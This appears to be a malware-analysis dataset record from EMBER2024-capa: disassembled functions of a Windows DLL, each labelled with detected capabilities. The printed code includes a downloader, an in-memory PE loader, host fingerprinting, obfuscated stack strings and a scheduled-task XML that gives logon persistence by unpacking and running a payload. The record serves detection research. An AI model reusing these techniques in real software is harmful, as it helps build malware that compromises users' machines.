joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005880
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.10009f70
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.10009f70
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x10005984
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x10005986
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x10005994
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x10005b8f
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call fcn.10009f70
push 0x2e
push dword [ebp + 8]
call fcn.1000a3a0
add esp, 0x14
cmp eax, edi
je 0x10005c54
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005c54
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call fcn.10009f70
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005c5b
xor al, al
jmp 0x10005d1b
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.10009f70
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x160]
push 0x10027f2c
push eax
call fcn.1000ab00
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cd8
lea eax, [ebp - 0x160]
push 0x10027f28
push eax
call fcn.1000ab00
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cd8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x10027f24
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005ce2
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10005cff
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005dd4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005e45
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005e3c
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1000a310
pop ecx
test eax, eax
pop ecx
jne 0x10005e06
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x1000640c
Capabilities:
Connect to http server
Copy file
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2918
call fcn.10009fd0
push ebx
push esi
push edi
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push 0x1002e078
push eax
call fcn.1000a44b
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 8], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x100064a9
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push str.InternetOpenUrlA
push edi
call esi
push ebx
push closesocket
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x100064bd
cmp edi, ebx
je 0x100065fc
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x100065fc
push ebx
push ebx
push 2
push ebx
push ebx
lea eax, [ebp - 0x118]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x100065a7
mov edi, 0x2800
push edi
lea eax, [ebp - 0x2918]
push ebx
push eax
call fcn.10009f70
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 8]
call esi
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x2918]
push edi
push ecx
push dword [ebp - 0xc]
call eax
lea eax, [ebp - 0x2918]
push 0x1002e024
push eax
call fcn.1000ab00
pop ecx
test eax, eax
pop ecx
jne 0x100065e6
lea eax, [ebp - 0x2918]
push 0x1002e01c
push eax
call fcn.1000ab00
pop ecx
test eax, eax
pop ecx
jne 0x100065e6
lea eax, [ebp - 0x2918]
push 0x1002e014
push eax
call fcn.1000ab00
pop ecx
test eax, eax
pop ecx
jne 0x100065e6
lea eax, [ebp - 0x2918]
push 0x1002e00c
push eax
call fcn.1000ab00
pop ecx
test eax, eax
pop ecx
jne 0x100065e6
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x2918]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
ja 0x100064e6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0xc]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x100065ce
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x100065e1
Function at 0x100072ce
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x1001f9fc
push 1
push esi
push 0x1001fa1c
call dword [ebp - 0x18]
test eax, eax
jne 0x10007359
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x1001fa0c
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10007360
xor eax, eax
jmp 0x100073ee
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100073d1
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x1001e548
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100073c6
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100073bd
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10007369
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x100073e1
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x100073eb
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007498
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call fcn.10009f70
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.10009f70
lea eax, [ebp - 0x28]
push 0x1002cb80
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push str.Console
push closesocket
call fcn.100092b1
add esp, 0x44
pop edi
pop ebx
leave
ret

Function at 0x1000777f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp + 0xc]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100077f7
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp + 8]
push edi
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
jne 0x100077ee
push dword [ebp - 4]
call fcn.1000a044
mov ebx, dword [ebp + 0x14]
cmp eax, edi
pop ecx
mov dword [ebx], eax
je 0x100077ee
lea ecx, [ebp - 4]
push ecx
push eax
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x100077fb
push dword [ebx]
call fcn.100096db
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x1000780e
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007813
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
mov esi, 0x9c
xor edi, edi
push esi
lea eax, [ebp - 0xac]
push edi
push eax
xor ebx, ebx
call fcn.10009f70
add esp, 0xc
lea eax, [ebp - 0xac]
mov dword [ebp - 0xac], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000793e
cmp dword [ebp - 0x9c], 2
jne 0x1000793e
cmp dword [ebp - 0xa8], 5
jbe 0x1000793e
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000793e
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push edi
push edi
push 0x19
push dword [ebp - 8]
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x100078f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100078f5
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x100078f3
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
je 0x100078ec
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x1000793e
cmp ebx, 0x1000
je 0x10007937
cmp ebx, 0x2000
je 0x10007930
cmp ebx, 0x3000
je 0x10007929
cmp ebx, 0x4000
jne 0x1000794c
push 0x1002e518
jmp 0x10007943
push 0x1002e514
jmp 0x10007943
push 0x1002e510
jmp 0x10007943
push 0x1002e50c
jmp 0x10007943
push 0x1002e504
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 0x10]
push eax
push str.PromptOnSecureDesktop
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
mov dword [ebp - 0xc], edi
call fcn.1000777f
add esp, 0x14
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
jbe 0x10007988
mov eax, dword [ebp - 0x10]
cmp byte [eax], 1
jne 0x10007988
push str._uac
jmp 0x1000798d
push str._UAC
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
pop eax
leave
ret
Function at 0x1000799b
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push esi
push edi
push 0x1002cb80
lea eax, [ebp - 0x3b8]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2b4], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
xor edi, edi
push 0x20
lea eax, [ebp - 0x28c]
push edi
push eax
call fcn.10009f70
add esp, 0x18
lea eax, [ebp - 0x2b3]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2b3]
push edi
push eax
push 1
push str.Groupfenzhu
push str.Console
push closesocket
call fcn.100092b1
add esp, 0x20
cmp eax, 1
jge 0x10007a20
lea eax, [ebp - 0x2b3]
push 0x1002cc7a
push eax
call fcn.1000a1e0
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x1c]
pop esi
push esi
push edi
push eax
call fcn.10009f70
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 0x48]
call dword [0x100334ac]
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.100096f0
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x28c]
push 0x32
push eax
call fcn.1000744d
add esp, 0x18
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.10007737
call fcn.100075a7
test eax, eax
setne al
mov byte [ebp - 0x164], al
lea eax, [ebp - 0x180]
push eax
call fcn.100073f3
lea eax, [ebp - 0x102]
push eax
call fcn.10007813
call fcn.100076c9
push eax
lea eax, [ebp - 0x12a]
push eax
call fcn.1000a1d0
add esp, 0x1c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xc], 8
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x2bf20
jbe 0x10007b11
mov dword [ebp - 0xe0], 1
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
push 0x14
pop ecx
call fcn.1000b150
mov dword [ebp - 0x160], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x16c], eax
call fcn.100072ce
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x25a]
push str.11._7
push eax
call fcn.1000a1d0
lea eax, [ebp - 0xdc]
push 0x80
push eax
push str.RDP_Tcp
call fcn.1000764e
lea eax, [ebp - 0x15c]
push 0x32
push eax
lea eax, [ebp - 0x4b8]
push eax
call fcn.100075e7
add esp, 0x20
lea eax, [ebp - 0x2b4]
mov ecx, esi
push 0x258
push eax
call fcn.1000184e
pop edi
pop esi
leave
ret
Function at 0x10007bc2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xee2
push str.__xml_version_1.0__encoding_UTF_16____r_n_Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___r_n___RegistrationInfo__r_n_____Date_2022_10_24T03:31:27__Date__r_n_____Author_Administrator__Author__r_n____RegistrationInfo__r_n___Triggers__r_n_____LogonTrigger__r_n_______StartBoundary_2022_10_24T03:31:00__StartBoundary__r_n_______Enabled_true__Enabled__r_n______LogonTrigger__r_n____Triggers__r_n___Principals__r_n_____Principal_id_Author___r_n_______UserId_Administrator__UserId__r_n_______LogonType_InteractiveToken__LogonType__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Settings__r_n_____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__r_n_____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__r_n_____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__r_n_____AllowHardTerminate_false__AllowHardTerminate__r_n_____StartWhenAvailable_false__StartWhenAvailable__r_n_____RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable__r_n_____IdleSettings__r_n_______StopOnIdleEnd_true__StopOnIdleEnd__r_n_______RestartOnIdle_false__RestartOnIdle__r_n______IdleSettings__r_n_____AllowStartOnDemand_true__AllowStartOnDemand__r_n_____Enabled_true__Enabled__r_n_____Hidden_false__Hidden__r_n_____RunOnlyIfIdle_false__RunOnlyIfIdle__r_n_____WakeToRun_false__WakeToRun__r_n_____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__r_n_____Priority_7__Priority__r_n_____RestartOnFailure__r_n_______Interval_PT1M__Interval__r_n_______Count_3__Count__r_n______RestartOnFailure__r_n____Settings__r_n___Actions_Context_Author___r_n_____Exec__r_n_______Command_C:ProgramDataDataun.exe__Command__r_n_______Arguments_x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.exe_C:ProgramDataProgram__st__Arguments__r_n______Exec__r_n_____Exec__r_n_______Command_C:ProgramDataProgramiusb3mon.exe__Command__r_n_______WorkingDirectory_C:ProgramDataProgram__WorkingDirectory__r_n______Exec__r_n____Actions__r_n__Task_
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10007bfc
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10007ec1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10007fd0
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10007fd0
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10007f19
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10007fd0
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call fcn.100096f0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10007fde
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10007f9b
push eax
push edi
call fcn.10008148
pop ecx
pop ecx
push edi
call fcn.100081c2
test eax, eax
pop ecx
je 0x10007fc9
push edi
call fcn.1000808b
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10007fd7
add eax, ebx
test eax, eax
je 0x10007fc9
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10007fd4
push edi
call fcn.1000837c
pop ecx
xor eax, eax
jmp 0x10007fd9
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007fde
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10008088
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10008049
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10008072
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call fcn.10009f70
add esp, 0xc
jmp 0x10008072
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call fcn.100096f0
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10008017
pop edi
pop ebx
pop esi
leave
ret